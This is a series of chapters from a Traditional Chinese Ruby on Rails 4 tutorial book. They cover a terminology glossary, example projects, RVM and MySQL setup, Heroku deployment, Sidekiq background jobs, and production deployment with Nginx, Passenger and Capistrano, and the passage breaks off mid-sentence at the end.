線上參考資源(英文)

最后更新于:2022-04-01 02:32:06

* [Rails Guides](http://guides.rubyonrails.org/) * [Ruby API Documentation](http://www.ruby-doc.org/) * [Rails API Documentation](http://api.rubyonrails.org/)
';

翻譯術語對照

最后更新于:2022-04-01 02:32:04

技術術語的翻譯一向是個難題:把所有英文術語都翻成中文的話,讀者將不知道原文,會妨礙實際寫程式和增加閱讀英文技術文件的難度,更何況有些術語並沒有常見的翻譯,硬翻譯成中文也繞舌許多。但是,保留所有英文術語,又會妨礙閱讀中文的流暢度,處處加上括號註解原文也不是個終極辦法。 因此,本書在術語處理上,依照不同情狀,會有不同的三種處理方式: ## 常見翻譯使用中文 * object 物件 * class 類別 * cache 快取 * relational database 關聯式資料庫 * (database) table 資料表 * framework 框架 * library 函式庫 * component 元件 * attribute 屬性 * editor 編輯器 * method 方法 * function 函式 * unit test 單元測試 * application 應用程式 * template 樣板 * layout 版型 * route/routing 路由 * validation 驗證 * callback 回呼 * server 伺服器 * instance variable 實例變數 * class variable 類別變數 * local variable 區域變數 * inherit 繼承 * interface 介面 * instance 實例 * instantiate 實例化 * request HTTP 請求 * timestamp 時間戳章 * form 表單 * array 陣列 * iterate 迭代 * escaped 逸出 * tag 標籤 * collection 集合 * macro 巨集 * code 程式碼 * command-line 命令列 * terminal 命令列視窗 * argument 引數 * paramater 參數 * block 程式碼區塊 * character 字元 * checkbox 核取方塊 * flag 旗標 * hash 雜湊 * key 鍵 * value 值 * index 索引 * header 標頭 * cache, caching 快取 * package 套件 * open source 開放源碼或開放原始碼 * script, scripting 腳本 * iterator 迭代器 * side-effect 副作用 ## 缺少直覺的翻譯術語,使用括號保留原英文術語 * Module 模組 (指 Ruby 的 Module) * console 主控台 * singleton 單件 * camel case 駝峰式命名 (一種命名的格式,由幾個單字組合而成,每個單字的開頭用大寫,前後緊接在一起,單字之間沒有空白或底線) * generator 產生器 * observer 觀察者 * roll back 滾回 * scaffold 鷹架 * schema 資料庫綱要 * transaction (資料庫操作的) 交易 * expire, invalidation 過期快取資料 * query 查詢 * request 請求(通常是指HTTP request) * response 回應(通常是指HTTP response) * middleware 中介軟體 * asset 靜態檔案 * partial template 局部樣版 ## 只使用英文術語 * Model 模型 * Controller 控制器 * View 視圖 * Helper * action 指 controller 的 action 時不譯 * rendering * repository 版本控制系統的原始碼儲存庫 * token 信物
';

Rails範例專案

最后更新于:2022-04-01 02:32:02

本章的目的是讓讀者可以從一個完整的Rails專案中學習: ## Job Board [Ruby Jobs in Taiwan](http://jobs.ruby.tw/)是一個簡單的Job Board系統,原始碼開放在[Github](https://github.com/rubytaiwan/jobs.ruby.tw)上,功能包括: 1. 使用者註冊、登入、登出。使用 [Devise Gem](https://github.com/plataformatec/devise) 2. 使用者可以張貼工作,並設定工作的張貼期限 3. 使用者可以編輯、下架、刪除自己張貼的工作 功能雖然簡單,但是包含了Model spec、Controler spec和Acceptence Test可供學習。 ## 簡易論壇系統 * 開發一個簡易論壇系統。系統要有 Forum 與 Post 兩個 Model,寫出 CRUD 介面,並且文章網址是使用 http://forum.local/forums/1/posts/2 這種表示。 * 可以使用 http://http://getbootstrap.com/ 套版 * 使用者必須能夠 註冊 / 登入,登入後才可以發表 Post,不然只能瀏覽。只有自己的 Post 才能進行修改與刪除。請使用 devise gem。 * 論壇的文章要能夠分頁,每一頁 20 筆,每一個論壇要秀出現在論壇裡有多少文章數量。請使用 [Kaminari Gem](https://github.com/amatsuda/kaminari)。 * 可依照文章時間排序,請使用 Model 的 scope 功能。 * 每篇文章可以上傳附件。請使用 [Paperclip Gem](https://github.com/thoughtbot/paperclip/)。 * 建立一個後台,讓管理員可以刪改所有文章,網址是 http://forum.local/admin/。只有身分是 admin 的人可以進後台。admin 的判別方是 column 裡加一個 boolean,判斷是否是 admin。 * 用 Rake 撰寫的產生假資料的步驟。執行 rake dev:fake 即會產生假文章與假論壇。
';

Git版本控制系統

最后更新于:2022-04-01 02:31:59

Git 是 Ruby/Rails 世界中最為通行的版本控制系統,包括 Rails 本身以及絕大部分的套件都是使用 Git 來做版本控制,甚至可以說大部分都使用 [GitHub](https://github.com/) 這個服務,GitHub 是基於 Git 這套分散式版本控制系統的 Repository hosting 應用,只要是開放原始碼軟體,都可以免費的使用這個服務。 更多資訊請前往筆者的[版本控制系統 Git](http://ihower.tw/git/)一書。
';

進階開發環境安裝

最后更新于:2022-04-01 02:31:57

本書在[第二章](https://ihower.tw/rails4/installation.html)介紹了如何快速安裝,本附錄將介紹進階的安裝方式,例如RVM和MySQL。適合專業的開發者。 ## Mac OS X ### 安裝MySQL Mac OS除了可以至MySQL官網下載,筆者推薦透過Homebrew安裝: ~~~ $ brew install mysql $ mysql.server start ~~~ 如果需要開機就把MySQL開起來的話: ~~~ $ mkdir -p ~/Library/LaunchAgents $ ln -sfv /usr/local/opt/mysql/*.plist ~/Library/LaunchAgents ~~~ 安裝MySQL Adapter: ~~~ $ gem install mysql2 ~~~ 修改Gemfile加上以下套件,然後輸入`bundle`: ~~~ gem 'mysql2' ~~~ 修改config/database.yml設定檔,整個換成: ~~~ development: adapter: mysql2 encoding: utf8 database: demo_development host: localhost username: root password: test: adapter: mysql2 encoding: utf8 database: demo_test host: localhost username: root password: production: adapter: mysql2 encoding: utf8 database: demo_production host: localhost username: root password: ~~~ ### 使用RVM安裝Ruby [RVM](http://rvm.beginrescueend.com/)(Ruby Version Manager)是一套可以同時安裝不同版本Ruby: 安裝RVM (請參考官方網頁的[安裝說明](https://rvm.io/)): ~~~ $ curl -sSL https://get.rvm.io | bash -s stable ~~~ 接著看你想要安裝哪一個Ruby版本,例如Ruby 2.2.2: ~~~ $ rvm install 2.2.2 $ rvm 2.2.2 --default ~~~ 你也可以試著安裝其他版本,輸入`rvm list known`會列出有哪些版本可以安裝,例如: ~~~ $ rvm install jruby ~~~ 這樣就會安裝[JRuby](http://jruby.org/)版本,輸入`rvm jruby`切換到JRuby版的Ruby,輸入`rvm list`會列出目前已經安裝的版本。輸入`ruby -v`可以得知目前的Ruby版本: ~~~ $ rvm 2.2.2 $ ruby -v ruby 2.2.2p95 (2015-04-13 revision 50295) [x86_64-darwin14] $ rvm jruby $ ruby -v jruby 1.7.15 (1.9.3p392) 2014-09-03 82b5cc3 on Java HotSpot(TM) 64-Bit Server VM 1.7.0_67-b01 +jit [darwin-x86_64] ~~~ 輸入`rvm 2.2.2 --default`可以設定2.2.2為預設的Ruby版本。 ## Ubuntu Desktop ### 安裝MySQL Ubuntu上安裝MySQL請執行: ~~~ $ sudo apt-get install mysql-server mysql-common mysql-client libmysqlclient-dev ~~~ 安裝MySQL Adapter: ~~~ $ gem install mysql2 ~~~ 修改Gemfile加上: ~~~ gem 'mysql2' ~~~ 修改config/database.yml設定檔。 ### 使用RVM安裝Ruby 在使用RVM之前必須先安裝以下套件: ~~~ $ sudo apt-get install build-essential libssl-dev libpcre3-dev libncurses5-dev libreadline6-dev ~~~ [RVM](http://rvm.beginrescueend.com/)(Ruby Version Manager)請參考上一節的內容。記得也是要先裝有Git,請參考附錄Git如何安裝。 如果碰到Linux套件問題,請參考[RVM Packages](http://beginrescueend.com/packages/)有一些常見解法。
';

Heroku簡介和部署

最后更新于:2022-04-01 02:31:55

[Heroku](http://heroku.com/)提供了 PaaS 雲端服務,讓 Ruby 應用程式可以跑在上頭(所以不只是 Rails,像是 Sinatra 也可以跑在上面),以及提供 PostgreSQL 這套關聯式資料庫和其他許多的外掛服務。它的底層硬體資源是採用了可擴展的 Amazon EC2,透過 Heroku 的 dynos (它的資源單位) 只要拉上拉下就可以增加伺服器負載了,非常厲害,請看 Rapportive 的故事: > 想要擁有一個可隨時延展的架構(scalable architecture),你只要選對廠商(hosting provider)就可以做到。如果Rapportive一開始隨便選了一個便宜的VPS,流量一衝進來的時候可能就會像全面啟動電影中Cobb的混沌世界(Limbo)一樣崩潰。Rapportive的服務是放在知名廠商Heroku上,對於突然湧進的流量只需要增加Dynos的數量(Heroku提供服務的基本單位),基本上你是不需要修改你的程式的;當然,程式的優化、調整可以在同樣能耐的硬體等級上容納更多人。 使用Heroku、不需要調整程式、只需要增加Dyno數量?真的有這麼美好嗎?事實上Rapportive就是這麼辦到的,在來自全世界的流量突然湧進時,Rahul Vohra手邊沒有電腦,於是他隨即拿起iPhone並且利用Nezumi這個設計來管理Heroku的應用程式,將Rapportive的Dynos增加到20個,就這麼簡單,可能不到一分鐘吧?!系統的能耐馬上就提昇了。 不過,這麼方便的工具也是有一些缺點。首先它的價格昂貴,當你的網站有穩定流量時會不划算,另外他的伺服器位在美國或歐洲,從亞洲連過去比較慢。最後是有Vendor lock-in的風險。因此,通常我們只利用它的提供的免費方案,作為玩具專案的展示之用, ## 第一次設定 Heroku 1. 註冊 [Heroku](https://heroku.com/) 帳號 2. 下載及安裝 [toolbelt](https://toolbelt.heroku.com/) 工具 3. Heroku預設使用PostgreSQL資料庫,所以我們也在本機安裝PostgreSQL,請執行 `brew install postgresql` ## 第一次在 Heroku 開 App 前提:Heroku 使用Git進行佈署,你的專案必須用Git做版本控制。 請在你的專案目錄下執行 `heroku create` ## 更新你的Code 1. Gemfile 加上 pg gem 和 rails_12factor gem,如果你本來用 sqlite3 或 mysql2 gem,請移除或搬到只有 `:development` 和 `:test` 模式才使用 。 ~~~ gem 'pg' gem 'rails_12factor', group: :production group :development, :test do gem 'sqlite3' # .... end ~~~ 2. bundle 3. config/database.yml 的 production 改用 postgresql adapter: ~~~ production: adapter: postgresql encoding: unicode ~~~ 4. commit 你的修改 ## 部署到 Heroku 1. 在你的專案目錄下執行 `git push heroku master` 將程式推送到 heroku 去 2. 執行 `heroku run rake db:migrate` 3. 執行 `heroku open` 就會打開瀏覽器了 ## 如何瀏覽 Logs? `heroku logs --tail` ## 如何打開遠端的 Rails console? `heroku run rails console` ## 參考資料 * [Heroku 官方文件: Getting Started with Rails 4.x on Heroku](https://devcenter.heroku.com/articles/getting-started-with-rails4)
';

附录

最后更新于:2022-04-01 02:31:53

';

Rails程式最佳實務

最后更新于:2022-04-01 02:31:50

> Good code is its own best documentation. As you’re about to add a comment, ask yourself, ‘How can I improve the code so that this comment isn’t needed?’ Improve the code and then document it to make it even clearer. – Steve McConnell, Code Complete 作者 ## 投影片 * [Rails Best Practices](http://www.slideshare.net/ihower/rails-best-practices) ## 更多線上資源 * [Rails Best Practices Website](http://rails-bestpractices.com/) * [Rails Best Practices Gem](https://github.com/railsbp/rails_best_practices)
';

非同步處理

最后更新于:2022-04-01 02:31:48

> Nine people can’t make a baby in a month.  — Fred Brooks, The Mythical Man-Month 作者 通常一個HTTP request/response的工作時間理想上都要在 200ms 以內完成,要不然 web server 通常也會限制在 30 秒以內,不然就會出現 timeout 錯誤。一個運算時間太久的 request 除了讓使用者感受不佳之外,對於伺服器效能上的影響也很巨大。使用者可能等待不及重新reload,於是相同的任務又在重頭執行一遍。一個 request 長時間佔據了一個 rails process,也讓其他 reuqest 無法進行處理。 常見的非同步任務包括: * 寄出E-mail * 匯入大筆資料 * 匯出大筆資料 * 呼叫第三方服務 對於這種任務,非同步的處理就非常重要。非同步的意思是讓任務的處理在背景完成,而不在瀏覽器的HTTP request/response流程中完成,等完成之後再通知使用者即可。 Rails 4.2之後內建了一個統一的處理介面叫做ActiveJob,就像ActiveRecord透過不同的Adapter可以支援不同資料庫,ActiveJob也支援了非常多種不同的排程工具,最多人使用的有: * [delayed_job](https://github.com/collectiveidea/delayed_job) 使用關聯式資料庫,非常方便安裝使用。 * [sidekiq](http://sidekiq.org/) 使用高效能的[Redis](http://redis.io/): key-value store來儲存要執行的任務,並且善用多執行序來增加效能,號稱可以以一個process抵上20個delayed_job的processes。 我們來用sidekiq舉例,本機Mac需要安裝Redis: ~~~ brew install redis ~~~ 而在Ubuntu伺服器上可以透過`sudo apt-get install redis-server`進行安裝。 在Gemfile新增`gem 'sidekiq'`然後bundle 預設的ActiveJob Adapter是:inline,也就是沒有非同步。我們必須編輯config/environments/production.rb切換成改用`:sidekiq`如下: ~~~ # be sure to have the adapter gem in your Gemfile and follow the adapter specific # installation and deployment instructions config.active_job.queue_adapter = :sidekiq ~~~ 接著編輯config/application.rb加入一行設定讓Rails可以找到job檔案: ~~~ config.eager_load_paths += %W( #{config.root}/app/jobs ) ~~~ 接下來要建立一個Worker非常容易,執行`rails g job hard_worker`會產生app/jobs/hard_worker_job.rb這個檔案, ~~~ # app/jobs/hard_worker_job.rb class HardWorkerJob < ActiveJob::Base queue_as :default def perform(*args) # Do something later end end ~~~ 接著在需要非同步的地方使用以下程式,就會將工作排程進sidekiq: ~~~ HardWorkerJob.perform_later ~~~ 最後,我們需要啟動另外的sidekiq process來執行這些非同步的任務: ~~~ bundle exec sidekiq ~~~ sidekiq提供了一個Web UI介面讓我們可以觀察目前有哪些任務在執行。如果搭配Devise的話,需要在`Gemfile`加上`gem 'sinatra', '>= 1.3.0', :require => nil`,以及`routes.rb`加入: ~~~ require 'sidekiq/web' authenticate :user, lambda { |u| u.admin? } do mount Sidekiq::Web => '/sidekiq' end ~~~ ## Action Mailer 我們在「ActionMailer: E-mail發送」那一章介紹過`deliver_later`方法,如果我們有設定好ActiveJob,那Rails就會用非同步寄信。 ## GlobalID 因為非同步的工作是另一個process在執行,在從Rails這端指派工作的時候,設計的參數會避免將物件進行序列化(serialize)動作,以免另一個process無法順利deserialize回來,例如這中間剛好程式碼有變更,造成類別的定義不同,更別提從enqueue到真正執行之間會有時間差,資料內容可能改變了。因此參數最好是簡單的基本型態,例如字串、數字、陣列或雜湊等等。例如你想要傳遞一個使用者物件當作參數,我們不傳整個user物件,而是傳user id而已: ~~~ HardWorkerJob.perform_later(user.id) ~~~ 接著在worker那端設計成根據user id從資料庫再拉出來: ~~~ def perform(user_id) user = User.find(user_id) end ~~~ 事實上,由於這是非常常見的設計,Rails甚至自動會針對ActiveRecord物件進行轉換,例如你寫成 ~~~ HardWorkerJob.perform_later(user) ~~~ 那在Rails內部會自動幫你把user物件轉成一個GlobalID字串放進queue裡,讓以下的job可以直接運作: ~~~ def perform(user) # user 就是 activerecord 物件了,Rails 自動幫你 query 資料庫轉換回來 end ~~~ 不過如果你面對的不是ActiveRecord物件,就要自行注意了。 ## 固定排程 另一種執行非同步任務的方式,則是透過作業系統的[Cron](http://en.wikipedia.org/wiki/Cron)排程工具,你可以將需要執行的工作寫成一個rake指令,在主機上用crontab指令進行編輯。例如每天凌晨四點進行備份、每週一凌晨一點產生報表等等。 由於crontab的格式不是非常友善,我們可以透過[whenever](https://github.com/javan/whenever)這個Gem來編輯,這也可以搭配Capistrano做自動化部署,非常方便。 ## 參考資料 * [Active Job Basics](http://edgeguides.rubyonrails.org/active_job_basics.html) * [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html) * [Distributed Ruby and Rails](http://www.slideshare.net/ihower/distributed-ruby-and-rails)
';

網站佈署

最后更新于:2022-04-01 02:31:46

> How long would it take your organization to deploy a change (to production) that involves just one single line of code? Do you do this on a repeatable, reliable basis? - Mary Poppendieck 終於要脫離開發階段,要把完成的Ruby on Rails應用程式拿來出上線見人了。在`rails server`指令中,其實是使用一套叫做WEBrick的伺服器,這是一套純Ruby實作的HTTP伺服器。雖然開發時拿來用很方便,但是它的效能並不適合作為正式環境來使用。因此,我們在這一章將介紹幾種在Linux上實際作為Production用途的佈署方案。 > 雖然Rails在Windows平台上也可以執行開發,但是如第二章作業系統一節所說,Ruby在Windows平台上資源較少,效能也不如在Unix-like系統上,因此很少人拿來當做Production伺服器用途。 ## Ruby on Rails 主機代管服務 在這雲端時代,在線上租用伺服器是最經濟實惠的選擇,常見的選擇包括: ### IaaS 類型(Infrastructure as a Service) 你可以獲得一整台的root權限,常見的廠商包括: * [Linode](https://www.linode.com/) 東京和新加坡有機房 * [DigitalOcean](https://www.digitalocean.com/) 新加坡有機房 * [Amazon EC2](http://aws.amazon.com/ec2/) 東京、新加坡有機房 * [Microsoft Azure 虛擬機器](http://azure.microsoft.com/zh-tw/services/virtual-machines/) 香港和新加坡有機房 * [Google Cloud Compute Engine](https://cloud.google.com/compute/) 台灣有機房 VPS(Virtual Private Server)出身的Linode和DigitalOcean因為價格非常便宜,一個月只需要美金五塊、十塊起跳,機房離台灣也近,所以成為裝機的高C/P值首選。Amazon、Microsoft和Google則以豐富的雲端生態系見長,除了虛擬主機之外,它還有提供資料庫、檔案儲存和NoSQL資料庫等等各式各樣的代管服務。 ### PaaS 類型(Platform as a Service) PaaS則是固定的執行環境,只支援特定的程式語言或框架,支援Ruby的有: * [Heroku](http://heroku.com/) * [Bluemix](https://ace.ng.bluemix.net/) * [Openshift](https://www.openshift.com/) * [Pivotal](http://www.pivotal.io/) * [HP Public Cloud](http://www.hpcloud.com/) 不過這些PaaS價格貴的多,而且大多只有在美國有機房,筆者通常只是拿他們的免費方案試玩。 ## 安裝系統和編譯Ruby 租到一台虛擬機之後,你應該可以使用SSH登入。以下則是在Ubuntu 14.04上安裝系統和Ruby的指令: ~~~ sudo apt-get update sudo apt-get upgrade -y sudo dpkg-reconfigure tzdata sudo apt-get install -y build-essential git-core bison openssl libreadline6-dev curl zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 autoconf libc6-dev libpcre3-dev curl libcurl4-nss-dev libxml2-dev libxslt-dev imagemagick nodejs libffi-dev wget http://cache.ruby-lang.org/pub/ruby/2.2/ruby-2.2.2.tar.gz tar xvfz ruby-2.2.2.tar.gz cd ruby-2.2.2 ./configure make sudo make install ~~~ > 請將2.2.2換成最新的Ruby版本 ## 安裝MySQL 以下是安裝MySQL的指令,過程中會提示你輸入root密碼。 ~~~ sudo apt-get install mysql-common mysql-client libmysqlclient-dev mysql-server sudo gem install mysql2 --no-ri --no-rdoc mysql -u root -p CREATE DATABASE your_production_db_name CHARACTER SET utf8; ~~~ 最後一步是手動建立一個資料庫,等會Rails會用到。 ## 或是安裝PostgreSQL資料庫 或是你也可以選擇安裝PostgreSQL: ~~~ sudo apt-get install postgresql libpq-dev postgresql-contrib sudo gem install pg --no-ri --no-rdoc sudo -u postgres psql -d template1 -c "ALTER USER postgres WITH PASSWORD 'your_new_password';" sudo -u postgres createdb your_database_name ~~~ ## Nginx + Passenger [Passenger](https://www.phusionpassenger.com/)是目前佈署Ruby on Rails最好用、設定最簡單的方式,它是一套Apache和Nginx的擴充模組,可以直接支援Rails或任何Rack應用程式。 > Passenger不支援Windows平台 以下我們選擇使用[Nginx](http://nginx.org/)是目前最流行的網站伺服器之一,相較於Apache雖然功能較少,但運作效率非常優秀。要讓Nginx裝上Passgener不需要先裝Nginx,只需要執行以下指令: ~~~ $ sudo gem install bundler passenger --no-ri --no-rdoc $ sudo passenger-install-nginx-module ~~~ 這是因為Passenger必須與Nginx一起編譯的關係,所以Passenger的安裝指令就包括了安裝Nginx。接著我們設定 Nginx 啟動腳本: ~~~ wget -O init-deb.sh http://www.linode.com/docs/assets/1139-init-deb.sh sudo mv init-deb.sh /etc/init.d/nginx sudo chmod +x /etc/init.d/nginx sudo /usr/sbin/update-rc.d -f nginx defaults ~~~ Nginx啟動用法: ~~~ sudo service nginx start sudo service nginx stop sudo service nginx restart ~~~ 啟動Nginx後,打開瀏覽器指向 Server IP 可以看到預設的 Welcome to nginx! 頁面。我們稍候會再回頭來針對Rails來調整這個Nginx設定。 > Passenger預設的Rails運行環境是production。在production環境下操作Rails指令有些必須加上環境變數,例如`bin/rake db:migrate RAILS_ENV=production`或是主控台`bin/rails console production` ## 自動化佈署 決定應用程式伺服器之後,接下來我們來討論你要如何把程式佈署上去?最常見的作法,不就是開個FTP或用SFTP上傳上去不就好了?再不然SSH進去,從版本控制系統更新下來也可以。但是你有沒有想過這佈署的過程,其實是每次都重複一再執行的步驟(除非你佈署完之後,就不需要再繼續開發和升級),隨者時間的演進,這個過程常常會有各種客製的指令需要要執行,例如安裝設定檔、更新啟動某個Daemon、清除快取等等。因此,好的實務作法是自動化佈署這個動作,只要執行一個指令,就自動更新上去並重新啟動伺服器。這樣也可以大大避免漏做了什麼佈署步驟的可能性。 ### 設定伺服器佈署使用者 習慣上我們會在伺服器上開一個專門的帳號,用來放Rails應用程式,指令如下: ~~~ sudo adduser --disabled-password deploy sudo su deploy ssh-keygen -t rsa 複製本機的 ~/.ssh/id_rsa.pub 到 /home/deploy/.ssh/authorized_keys chmod 644 /home/deploy/.ssh/authorized_keys chown deploy:deploy /home/deploy/.ssh/authorized_keys ~~~ 這樣本機就可以直接ssh deploy@{your server ip}登入無須密碼。 ### 設定佈署腳本 [Capistrano](http://capistranorb.com/)是Rails社群中最常使用的佈署工具。首先,我們在本地端安裝這個Gem: ~~~ gem install capistrano ~~~ 然後在Gemfile中加上: ~~~ gem 'capistrano-rails', :group => :development gem 'capistrano-passenger'', :group => :development ~~~ 在你的Rails專案目錄下執行: ~~~ cap install ~~~ 這樣就會產生幾個檔案,首先編輯Capfile加入: ~~~ require 'capistrano/rails' require 'capistrano/passenger' ~~~ 編輯config/deploy.rb,請替換以下的application名稱、git repo網址和deploy_to路徑: ~~~ `ssh-add` # need this to make key-forwarding work set :application, 'rails-exercise' set :repo_url, 'git@github.com:ihower/rails-exercise.git' set :deploy_to, '/home/deploy/rails-exercise' set :keep_releases, 5 set :linked_files, fetch(:linked_files, []).push('config/database.yml' 'config/secrets.yml') set :linked_dirs, fetch(:linked_dirs, []).push('log', 'tmp/pids', 'tmp/cache', 'tmp/sockets', 'vendor/bundle', 'public/system') # .... ~~~ > 其中的`ssh-add`可以參考[SSH agent forwarding 的應用](http://ihower.tw/blog/archives/7837)的說明。 編輯config/deploy/production.rb將`example.com`換成伺服器的IP或網域。 本機執行`cap deploy:check`,就會自動登入遠端的伺服器,在登入的帳號下新建current、releases和shared這三個目錄,releases是每次佈署的紀錄,而current目錄則是用symbolic link指向releases目錄下最新的版本。 因為我們不希望將資料庫的帳號密碼和cookie secret key也放進版本控制系統,所以會將存有正確帳號密碼的database.yml和secrets.yml檔案預先放在伺服器的shared/config目錄下,自動佈署時會覆蓋過去。 本機執行`rake secret`產生的 key 放到遠端伺服器的shared/config/secrets.yml,範例如下(小心YAML格式的縮排規則,用兩個空格): ~~~ production: secret_key_base: xxxxxxx........ ~~~ 遠端伺服器設定好shared/config/database.yml,範例如下: ~~~ production: adapter: mysql2 encoding: utf8 database: your_database_name host: localhost username: root password: your_database_password ~~~ 如果是用PostgreSQL範例如下: ~~~ production: adapter: postgresql encoding: unicode database: your_database_name host: localhost pool: 25 username: postgres password: your_database_password ~~~ 到此終於可以部署了,執行`cap production deploy`就可以了。 ### Nginx 完整設定 上述的Nginx我們將server設定直接寫在nginx.conf中,通常我們會拆開: 編輯 /opt/nginx/conf/nginx.conf 在 http 裡面加上 `include /opt/nginx/conf/vhost/*.conf`; 新增 /opt/nginx/conf/vhost/your_domain.conf,記得修改正確的`root`和`server_name`: ~~~ server { listen 80; server_name your_domain.com; root /home/deploy/rails-exercise/current/public; passenger_enabled on; passenger_show_version_in_header off; passenger_min_instances 1; server_tokens off; location ~ ^/assets/ { expires 1y; add_header Cache-Control public; add_header ETag ""; break; } } ~~~ 以上設定包括設定Assets靜態檔案成為永不過期(Rails的Assets Pipeline會加上版本號,所以不需要擔心)、設定Passenger至少開一個Process。其中`server_name your_domain.com`請會換成你的domain。如果Domain name還沒註冊好,可以先用伺服器IP地址。但是如果你的伺服器上有多個Rails專案或網站,就必須用不同domain來區分。 編輯nginx.conf ~~~ worker_processes auto; events { worker_connections 4096; use epoll; } http { # ..... client_max_body_size 100m; gzip on; gzip_disable "msie6"; } ~~~ 以上設定包括自動調整Nginx使用多少process(跟主機有多少CPU核有關)、打開gzip壓縮(可以大大減少網頁下載時間)、設定檔案上傳可以到100mb(預設只有1Mb超小氣的,上傳一張圖片就爆了)。 最後執行`sudo service restart`便會啟用Nginx設定。如果之後你的Rails有任何修改要重新載入,但是並不想把Nginx整個重開,請在你的Rails應用程式目錄下執行`touch tmp/restart.txt`即可,這樣Passenger就會知道要重新載入Rails,而不需要重開Nginx。 ## 處理Log檔案 網站持續運作,log目錄下的production.log可是會越長越肥,因此需要定期整理備份,這裡有幾種方法,一種是修改config/environments/production.rb的設定: ~~~ config.logger = Logger.new(config.paths["log"].first, 'daily') # 或 weekly,monthly ~~~ 或是 ~~~ config.logger = Logger.new(config.paths["log"].first, 10, 10*1024*1024) # 10 megabytes ~~~ 不然,你也可以使用Linux內建的[logrotate](http://ihower.tw/blog/archives/3565)工具。 ## 主機安全加強 參考[Securing your Ubuntu VPS for hosting a Rails Application](http://blog.dharanasoft.com/2011/06/09/securing-your-ubuntu-vps/)可以作一些基本的防護,包括: * 另開一個使用者有 sudo 權限,可以用 public key 登入 * 設定 root 帳號不可以 SSH 登入,也不允許密碼登入,只能用 public key * 設定防火牆 iptable 只允許 80, 443, 22 port ## 處理錯誤例外 雖然我們努力避免,但總是程式總有出錯的時候,一個上Production的專業 Rails app 絕不會痴痴地等待使用者告訴你網站炸了,而是要能夠主動通知及紀錄下這個錯誤例外(exception),好讓我可以 trace error、fixed bug 甚至在發生錯誤沒多久就可以通知苦主發生了什麼事情。 最基本我們可以安裝[Exception Notifier](https://github.com/smartinez87/exception_notification),這個套件會在發生例外時寄 email 通知你(們)。 或是使用第三方服務,例如: * [Rollbar](https://rollbar.com/) * [Airbrake](https://airbrake.io/) * [Sentry](https://getsentry.com/) * [Honeybadger](https://www.honeybadger.io/) 這些第三方服務可以在網站發生例外錯誤的時候自動將錯誤訊息收集起來。並且提供了還蠻不錯的後台可以瀏覽。這個解法安裝最簡單,功能又很夠用,還可以統計及追蹤例外處理的情況,我個人十分推薦使用第三方服務。 ## 效能監控 除了自己安裝一些主機效能監控軟體之外,也很常見使用專門的第三方服務: * [Skylight](https://www.skylight.io/) * [NewRelic](http://www.newrelic.com/) * [Scout](http://www.scoutapp.com/) ## 補充一:反向代理(Reverse proxy)模型 Apache/Nginx + Thin/Unicorn/Puma 除了Passenger之外,還有另一種反向代理(Reverse proxy)的運作方式,它分成Web伺服器和應用程式伺服器,圖示如下: ![Proxy diagram](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2015-08-18_55d2db8c140b6.jpg) 其中Web伺服器可以是Apache、Nginx,但是它除了提供靜態檔案之外,其餘的任務就只是做reverse proxy將request分發到應用程式伺服器。 而應用程式伺服器負責執行Ruby on Rails程式,這有幾個選擇: * Unicorn [http://unicorn.bogomips.org/](http://unicorn.bogomips.org/) (Multi-processed 模型) * Thin [http://code.macournoyer.com/thin/](http://code.macournoyer.com/thin/) (Evented-driven 模型) * Puma [http://puma.io/](http://puma.io/) (Multi-threaded 模型) 相較於Passenger,設定上會比較複雜,不過好好調校可以獲得更好的效能。 ## 補充二:EventMachine和多執行序模型 Passenger和Unicorn都是屬於Multi-process的模型,每一個Process是一個完整的Rails app使用一個CPU core。這種模型的優點是應用程式撰寫容易,不用管執行序是否安全的問題(Thread-safety)問題,而且如果每個Request都沒有I/O blocking,利用的CPU效率就是最好的,因為不像Thread有Context switch。但是,最大的缺點是如果碰到I/O blocking(太容易了,最基本的連接資料庫就是一種相較於CPU是很慢的I/O操作),能同時負擔的連線就很容易受到限制。因此在這種模型下,開發都會建議你監控每個HTTP request的執行時間在某個ms標準以下(例如20ms),太久的操作就會建議是改用Background job,這就是為了可以確定伺服器的執行效率。因此雖然”同時”連線線就等於能用的Process數量(例如最基本512 mb的主機上,通常可以開3個Rails process,但是因為每個連線都控制在20ms以下,所以每秒鐘能處理的requests數量還是十分驚人,足以應用絕大部分的應用場景。 這個無法應用的場景,就是大量的HTTP持續連線需求了,例如聊天室,每個使用者連線持續佔用Process,而大多時間都在等待,導致伺服器能同時提供的連線非常有限。 要對應這種需求,一般人可能直覺聯想到的方案就是使用Multi-threaded了,雖然Rails本身有支援了`config.threadsafe!`模式,但是Multi-threaded的模型在Rails社群中其實並不流行,撇開multi thread程式的複雜性不談,主因應是對付這種concurrency需求,最有效的方案不是Multi-threaded,而是Evented-driven的 [Reactor Pattern](http://en.wikipedia.org/wiki/Reactor_pattern)。Thread再怎麼便宜,同時開成千上萬個也是會痛的,而Reactor pattern是一個無窮loop,無論有多少連線,只有在有事件發生時,才會讓CPU做事。Ruby中實作此模型最出名的函式庫就叫做[EventMachine](https://github.com/eventmachine/eventmachine)。 要讓Rails採用evented-driven架構,除了要用Thin server(使用EventMachine)之外,所有有關I/O操作的函式庫都要換用evented版本,例如HTTP client等等,不然也是功虧一簣。如何設定,可以參考這一個Demo app[https://github.com/igrigorik/async-rails](https://github.com/igrigorik/async-rails) 不過,因為Rails的設計並不是以Evented模型為最高指導原則,所以實務上比較多人會偏好採用更輕量,更以Evented為原則的框架來專門處理需要大量非同步連線的情景,例如: * Goliath [http://postrank-labs.github.com/goliath/](http://postrank-labs.github.com/goliath/) * Cramp [https://github.com/lifo/cramp](https://github.com/lifo/cramp) 其他語言的Evented框架包括[Node.js](http://nodejs.org/)、[Netty](http://www.jboss.org/netty)等。 更多討論可以參考: * [Does Rails Performance Need an Overhaul?](http://blog.phusion.nl/2010/06/09/does-rails-performance-need-an-overhaul/) * [Ruby concurrency explained](http://merbist.com/2011/02/22/concurrency-in-ruby-explained/) * [Ruby on Rails Server options](http://stackoverflow.com/questions/4113299/ruby-on-rails-server-options/4113570#4113570) 另一方面,Rails 的走向則是對 Multi-threaded 模式有越來越多的支援,例如 Rails 4 的 Live Streaming 功能: [Why Rails 4 Live Streaming is a big deal](http://blog.phusion.nl/2012/08/03/why-rails-4-live-streaming-is-a-big-deal/)。 總而言之,Multi-Process 